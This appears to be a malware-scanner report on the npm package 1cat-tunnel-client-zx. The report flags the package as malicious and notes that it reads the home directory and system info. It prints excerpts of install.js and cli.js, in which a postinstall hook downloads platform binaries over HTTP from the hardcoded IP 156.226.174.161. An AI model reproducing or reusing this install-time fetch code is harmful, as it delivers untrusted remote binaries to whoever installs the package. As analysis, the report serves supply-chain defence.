// npm 패키지
1cat-tunnel-client-zx
1Cat Tunnel Client (ZX Edition) - 基于 1Cat-Tunnel 的客户端,默认连接自建服务器
버전
4
메인테이너
1
라이선스
MIT
최초 publish
2026-05-26
publisher
yangzhuxin
tarball
9,209 B
AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-05-26
// exfil path
what is read → where it shipssteals
- ○ home dir
- ○ system info
sends to
- ⌖ 156.226.174.161
// offending code· @1.0.3· 2 files flagged
llm: malicious · 0.90→ 하드코딩된 public IP 전송지: 156.226.174.161 (RFC1918·loopback 아님).
- @1.0.3··AUTO-PUBLISHED·publisher: yangzhuxinheuristic 75/100static flags 4llm malicious (0.90) via ollamainstall-scripts:postinstallnew-publisher:0dhas-source-repoosv-flagged:MAL-2026-4778reads-env-varsreads-homedirreads-system-infochild-process-spawn
→ 하드코딩된 public IP 전송지: 156.226.174.161 (RFC1918·loopback 아님).
// offending code· 2 files flaggedpatterns: 4
--- install scripts --- ### postinstall node install.js --- package/cli.js (excerpt) --- #!/usr/bin/env node 'use strict'; const os = require('os'); const fs = require('fs'); const path = require('path'); const https = require('https'); const http = require('http'); const { execSync, spawn } = require('child_process'); const BINARY_BASE_URL = 'http://156.226.174.161:8888/binaries'; const BINARY_DIR = path.join(__dirname, 'bin'); function getPlatform() { const platform = os.platform(); const arch = os.arch(); const map = { 'linux-x64': 'tunnel-client-linux-amd64', 'linux-arm64': 'tunnel-client-linux-arm64', 'darwin-x64': 'tunnel-client-darwin-amd64', 'darwin-arm64': 'tunnel-client-darwin-arm64', 'win32-x64': 'tunnel-client-windows-amd64.exe', }; const key = `${platform}-${arch}`; if (!map[key]) { console.error(`Unsupported platform: ${platform}/${arch}`); console.error('Supported: linux-x64, linux-arm64, darwin-x64, darwin-arm64, win32-x64'); process.exit(1); } return map[key]; } function getBinaryPath() { const binaryName = getPlatform(); return path.join(BINARY_DIR, binaryName); } function downloadBinary(url, destPath) { return new Promise((resolve, reject) => { const file = fs.createWriteStream(destPath); const proto = url.startsWith('https') ? https : http; proto.get(url, (response) => { if (response.statusCode === 302 || response.statusCode === 301) { // Follow redirect file.close(); fs.unlinkSync(destPath); downloadBinary(response.headers.location, --- package/install.js (excerpt) --- #!/usr/bin/env node 'use strict'; // Post-install script: downloads the binary for the current platform const os = require('os'); const fs = require('fs'); const path = require('path'); const https = require('https'); const http = require('http'); const BINARY_BASE_URL = 'http://156.226.174.161:8888/binaries'; const BINARY_DIR = path.join(__dirname, 'bin'); function getPlatform() { const platform = os.platform(); const arch = os.arch(); const map = { 'linux-x64': 'tunnel-client-linux-amd64', 'linux-arm64': 'tunnel-client-linux-arm64', 'darwin-x64': 'tunnel-client-darwin-amd64', 'darwin-arm64': 'tunnel-client-darwin-arm64', 'win32-x64': 'tunnel-client-windows-amd64.exe', }; const key = `${platform}-${arch}`; return map[key] || null; } function downloadBinary(url, destPath) { return new Promise((resolve, reject) => { const file = fs.createWriteStream(destPath); const proto = url.startsWith('https') ? https : http; proto.get(url, (response) => { if (response.statusCode === 302 || response.statusCode === 301) { file.close(); try { fs.unlinkSync(destPath); } catch (e) {} downloadBinary(response.headers.location, destPath).then(resolve).catch(reject); return; } if (response.statusCode !== 200) { file.close(); try { fs.unlinkSync(destPath); } catch (e) {} reject(new Error(`HTTP ${response.statusCode}`)); return; } response.pipe(file);
